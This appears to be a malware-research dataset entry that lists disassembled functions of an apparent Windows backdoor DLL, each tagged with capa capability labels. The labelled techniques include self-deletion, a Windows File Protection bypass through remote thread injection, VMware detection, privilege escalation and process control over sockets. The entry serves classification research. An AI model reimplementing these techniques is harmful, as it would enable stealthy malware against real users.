joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100053f9
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
and byte [ebp - 0x414], 0
push ebx
push esi
push edi
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
and byte [ebp - 0x214], 0
push 0x7f
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x213]
and dword [ebp - 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 4]
push eax
push 0x1009412c
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10005537
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, 0x200
mov edi, 0x10093010
push esi
push edi
push eax
push dword [ebp - 4]
call ebx
cmp eax, 0x103
je 0x1000552e
push esi
lea eax, [ebp - 0x214]
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x414]
push 0x100940f8
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x414]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1000550a
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x100940ec
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10005501
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__strlwr]
pop ecx
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
pop ecx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x1000551a
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 8]
push esi
push edi
push dword [ebp - 8]
push dword [ebp - 4]
jmp 0x10005469
push dword [ebp - 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [ebp - 4]
call esi
mov eax, edi
jmp 0x10005539
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005567
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x104], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
and byte [ebp - 0x208], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x207]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
push dword [section.xdoors_d]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x208]
push 0x100941c0
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x208]
push 0x100941bc
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 0x10
test edi, edi
je 0x10005634
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fprintf]
push 0x100941b0
push edi
call esi
push 0x100941a4
push edi
call esi
lea eax, [ebp - 0x104]
push eax
push 0x10094188
push edi
call esi
lea eax, [ebp - 0x104]
push eax
push 0x1009417c
push edi
call esi
lea eax, [ebp - 0x104]
push eax
push 0x1009415c
push edi
call esi
push 0x10094150
push edi
call esi
add esp, 0x3c
pop esi
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
lea eax, [ebp - 0x208]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
leave
ret

Function at 0x1000564e
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push esi
push eax
xor esi, esi
push 0xf003f
push esi
push 0x10093a50
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000568f
lea eax, [ebp + 0xc]
push 4
push eax
push 4
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1000568f
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x1000569d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 4
pop eax
xor esi, esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push 0x10093a50
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100056ec
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100056ec
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret
Function at 0x100056fa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
and byte [ebp - 0x2c], 0
push esi
push edi
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x2b]
mov dword [ebp - 8], 0x20
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x10093a50
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x100941d0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10005767
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
push 1
pop esi
cmp eax, esi
je 0x10005769
xor esi, esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x10005778
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push edi
push eax
push 0x28
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x100057b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x100938cc
push 0x100938ac
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0xc
jmp 0x1000582e
lea eax, [ebp - 0xc]
push eax
push 0x10093898
push edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x100057e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x10093880
push 0x100938ac
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0xc
jmp 0x10005825
mov eax, dword [ebp - 0xc]
push edi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push edi
lea eax, [ebp - 0x1c]
push 0x10
push eax
push edi
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x10005822
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x10093868
jmp 0x100057d4
push 1
pop edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
leave
ret
Function at 0x10005833
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push edi
mov edi, dword [ebp + 8]
movsx eax, byte [edi]
push eax
call dword [sym.imp.MSVCRT.dll_isdigit]
test eax, eax
pop ecx
je 0x10005862
push 0
push 0
push edi
call dword [sym.imp.MSVCRT.dll_strtoul]
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x10005866
or dword [ebp + 8], 0xffffffff
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x10005898
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x100941dc
push 0x100938ac
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0xc
xor eax, eax
jmp 0x10005934
lea ecx, [ebp - 0x12c]
push esi
push ecx
push eax
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000591d
mov esi, dword [sym.imp.MSVCRT.dll__strlwr]
push edi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push edi
call esi
pop ecx
push eax
lea eax, [ebp - 0x108]
push eax
call esi
pop ecx
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
mov eax, dword [ebp - 0x124]
je 0x10005909
cmp eax, dword [ebp + 8]
je 0x10005909
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0x128
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100058ba
jmp 0x1000591d
mov dword [ebp + 8], eax
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 8], 0xffffffff
pop esi
jne 0x10005931
and dword [ebp + 8], 0
mov eax, dword [ebp + 8]
pop edi
leave
ret

Function at 0x10005991
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push edi
xor esi, esi
push eax
mov eax, dword [ebp + 8]
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push esi
push esi
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
cmp edi, esi
jne 0x100059c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x10094218
jmp 0x100059e3
push 0xfa0
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, esi
je 0x100059fc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x10094204
push 0x100938ac
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10005a06
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret
Function at 0x10005a0a
Capabilities:
Bypass windows file protection
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
call fcn.10005778
test eax, eax
je 0x10005afa
push 0x1f0fff
lea eax, [ebp - 0x110]
push 0x100942bc
push eax
call fcn.10005937
add esp, 0xc
test eax, eax
jne 0x10005a51
push 0x1009429c
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
jmp 0x10005afa
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jne 0x10005a94
xor ecx, ecx
mov cl, ah
test cl, cl
jne 0x10005a80
push 0x10094294
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push 0x10094288
mov esi, dword [sym.imp.MSVCRT.dll_printf]
call esi
pop ecx
jmp 0x10005aa5
push 0x1009427c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push 0x10094270
jmp 0x10005a75
mov esi, dword [sym.imp.MSVCRT.dll_printf]
push 0x10094258
call esi
mov edi, dword [ebp - 4]
pop ecx
push 2
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x10005ac5
push 0x10094238
call esi
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x10005afa
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.10005991
pop ecx
test eax, eax
pop ecx
jne 0x10005ae6
push 0x10094230
jmp 0x10005aeb
push 0x1009422c
call esi
pop ecx
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x10006196
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10016438
push 0x10015050
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
and dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
jmp 0x100061f6
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006518
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1530
call fcn.10014f70
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x152c]
mov dword [ebp - 0x1530], ebx
rep stosd dword es:[edi], eax
mov ecx, 0xff
lea edi, [ebp - 0x52f]
mov byte [ebp - 0x530], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 2
stosb byte es:[edi], al
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10006640
cmp dword [0x1008e5bc], ebx
mov dword [ebp - 0x130], 0x128
je 0x1000658c
push 0x10094360
call fcn.1000620c
pop ecx
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10006640
push dword [ebp - 0x128]
push ebx
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1530]
push 0x1000
push eax
push edi
call sub.PSAPI.DLL_EnumProcessModules
push 0x104
lea eax, [ebp - 0x530]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x530]
push 0x400
push eax
push dword [ebp - 0x1530]
push edi
call sub.PSAPI.DLL_GetModuleFileNameExA
cmp dword [0x1008e5bc], ebx
je 0x10006629
lea eax, [ebp - 0x530]
push eax
lea eax, [ebp - 0x10c]
push dword [ebp - 0x11c]
push eax
push dword [ebp - 0x128]
push 0x1009434c
call fcn.1000620c
add esp, 0x14
push edi
call esi
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
jmp 0x1000659b
push dword [ebp - 4]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x1000664c
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1634
call fcn.10014f70
and byte [ebp - 0x634], 0
push ebx
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x633]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x49
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x12c]
mov dword [ebp - 0x130], ebx
rep stosd dword es:[edi], eax
mov ecx, 0x3ff
lea edi, [ebp - 0x1630]
mov dword [ebp - 0x1634], ebx
push ebx
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x100066df
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x634]
push 0x100943d4
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x634]
push eax
push dword [ebp + 8]
call fcn.100038bb
add esp, 0x14
push 1
pop eax
jmp 0x1000689b
mov edi, 0x10094360
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x634]
push edi
push eax
mov dword [ebp - 0x130], 0x128
call esi
lea eax, [ebp - 0x634]
push eax
push dword [ebp + 8]
call fcn.100038bb
add esp, 0x10
cmp dword [0x1008e5bc], ebx
je 0x10006720
push edi
call fcn.1000620c
pop ecx
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10006859
mov edi, 0x104
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x10c]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0x10
test eax, eax
jne 0x10006840
push dword [ebp - 0x128]
push ebx
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1634]
push 0x1000
push eax
push ebx
call sub.PSAPI.DLL_EnumProcessModules
push edi
lea eax, [ebp - 0x234]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x234]
push edi
push eax
push dword [ebp - 0x1634]
push ebx
call sub.PSAPI.DLL_GetModuleFileNameExA
push dword [ebp - 0x11c]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x634]
push dword [ebp - 0x128]
push 0x100943c4
push eax
call esi
lea eax, [ebp - 0x634]
push eax
push dword [ebp + 8]
call fcn.100038bb
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x634]
push 0x100943bc
push eax
call esi
lea eax, [ebp - 0x634]
push eax
push dword [ebp + 8]
call fcn.100038bb
add esp, 0x30
cmp dword [0x1008e5bc], 0
je 0x10006837
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x10c]
push dword [ebp - 0x11c]
push eax
push dword [ebp - 0x128]
push 0x1009434c
call fcn.1000620c
add esp, 0x14
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000673c
jmp 0x10006880
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x634]
push 0x10094398
push eax
call esi
lea eax, [ebp - 0x634]
push eax
push dword [ebp + 8]
call fcn.100038bb
add esp, 0x14
push 0x100937f8
push dword [ebp + 8]
call fcn.100038bb
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret
Function at 0x1000692a
Capabilities:
Acquire debug privileges
Enumerate process modules
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
mov ebx, 0x10093898
push 1
push ebx
call fcn.1000689f
pop ecx
pop ecx
push dword [ebp + 0xc]
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp + 0xc], eax
test eax, eax
mov esi, 0x224
je 0x100069a1
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x224], esi
push ecx
push eax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x100069a1
push 0
lea eax, [ebp - 0x224]
push esi
push eax
push dword [ebp + 8]
call edi
cmp eax, 0xffffffff
je 0x1000699d
lea eax, [ebp - 0x224]
push eax
push dword [ebp + 0xc]
call sub.KERNEL32.dll_Module32Next
jmp 0x10006974
xor esi, esi
jmp 0x100069c7
push 0
lea eax, [ebp - 0x224]
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 0x224], 0x7b
mov dword [ebp - 0x218], 0x141
call edi
push 1
pop esi
push 0
push ebx
call fcn.1000689f
pop ecx
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100069e1
Capabilities:
Acquire debug privileges
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
and dword [ebp - 4], 0
push edi
push dword [ebp + 0xc]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x10006a81
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 1
pop edi
push edi
push eax
call esi
test eax, eax
je 0x10006a36
push 0
lea eax, [ebp - 0xc]
push 8
push eax
push dword [ebp + 8]
mov dword [ebp - 0xc], 0xbc
call dword [sym.imp.WS2_32.dll_send]
jmp 0x10006aa9
call fcn.10003695
test eax, eax
je 0x10006a81
lea eax, [ebp - 4]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10006a81
push edi
push 0x10093898
push dword [ebp - 4]
call fcn.10006268
add esp, 0xc
test eax, eax
je 0x10006a81
push edi
push dword [ebp + 0xc]
call esi
test eax, eax
je 0x10006a81
mov dword [ebp - 0xc], 0xbc
jmp 0x10006a93
mov dword [ebp - 0xc], 0xbd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
xor edi, edi
push 0
lea eax, [ebp - 0xc]
push 8
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push dword [ebp - 4]
call ebx
push dword [ebp + 0xc]
call ebx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006ab5
Capabilities:
Acquire debug privileges
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor esi, esi
push edi
push esi
lea eax, [ebp - 0xc]
push 8
push eax
push dword [ebp + 8]
mov dword [ebp - 4], esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10006bce
mov edi, 0x10093898
push 1
push edi
call fcn.1000689f
pop ecx
pop ecx
push dword [ebp + 0xc]
push esi
push 0x200
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, esi
je 0x10006b9f
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
test eax, eax
je 0x10006b32
push esi
lea eax, [ebp - 0xc]
push 8
push eax
push dword [ebp + 8]
mov dword [ebp - 0xc], 0xbc
call dword [sym.imp.WS2_32.dll_send]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10006b9a
call fcn.10003695
test eax, eax
je 0x10006b9f
lea eax, [ebp - 4]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10006b9f
push 1
push edi
push dword [ebp - 4]
call fcn.10006268
add esp, 0xc
test eax, eax
je 0x10006b9f
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
test eax, eax
je 0x10006b9f
push esi
lea eax, [ebp - 0xc]
push 8
push eax
push dword [ebp + 8]
mov dword [ebp - 0xc], 0xbc
call dword [sym.imp.WS2_32.dll_send]
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
push 1
pop eax
jmp 0x10006bd0
push esi
lea eax, [ebp - 0xc]
push 8
push eax
push dword [ebp + 8]
mov dword [ebp - 0xc], 0xbd
call dword [sym.imp.WS2_32.dll_send]
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
push 0
push edi
call fcn.1000689f
pop ecx
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006bd5
Capabilities:
Acquire debug privileges
Enumerate threads
Send data
Send data on socket
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 0x10094428
push 0x1009441c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [ebp - 4], eax
mov edi, 0x10093898
je 0x10006c6c
push 1
push edi
call fcn.1000689f
mov ebx, dword [ebp + 0xc]
pop ecx
pop ecx
push ebx
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 8], esi
je 0x10006c6c
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x1c
push eax
push esi
call sub.KERNEL32.dll_Thread32First
lea eax, [ebp - 0x2c]
push eax
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x10006c6c
cmp dword [ebp - 0x20], ebx
jne 0x10006c31
push dword [ebp - 0x24]
push 0
push 2
call dword [ebp - 4]
test eax, eax
mov dword [ebp + 0xc], eax
je 0x10006c31
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
test eax, eax
je 0x10006c31
push 1
mov dword [ebp - 0x10], 0xbc
pop ebx
jmp 0x10006c75
mov dword [ebp - 0x10], 0xbd
xor ebx, ebx
push 0
lea eax, [ebp - 0x10]
push 8
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 8]
call esi
push 0
push edi
call fcn.1000689f
pop ecx
mov eax, ebx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006ca7
Capabilities:
Acquire debug privileges
Enumerate threads
Resume thread
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 0x10094428
push 0x1009441c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [ebp - 4], eax
mov edi, 0x10093898
je 0x10006d3e
push 1
push edi
call fcn.1000689f
mov ebx, dword [ebp + 0xc]
pop ecx
pop ecx
push ebx
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 8], esi
je 0x10006d3e
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x1c
push eax
push esi
call sub.KERNEL32.dll_Thread32First
lea eax, [ebp - 0x2c]
push eax
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x10006d3e
cmp dword [ebp - 0x20], ebx
jne 0x10006d03
push dword [ebp - 0x24]
push 0
push 2
call dword [ebp - 4]
test eax, eax
mov dword [ebp + 0xc], eax
je 0x10006d03
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
je 0x10006d03
push 1
mov dword [ebp - 0x10], 0xbc
pop ebx
jmp 0x10006d47
mov dword [ebp - 0x10], 0xbd
xor ebx, ebx
push 0
lea eax, [ebp - 0x10]
push 8
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 8]
call esi
push 0
push edi
call fcn.1000689f
pop ecx
mov eax, ebx
pop ecx
pop edi
pop esi
pop ebx
leave
ret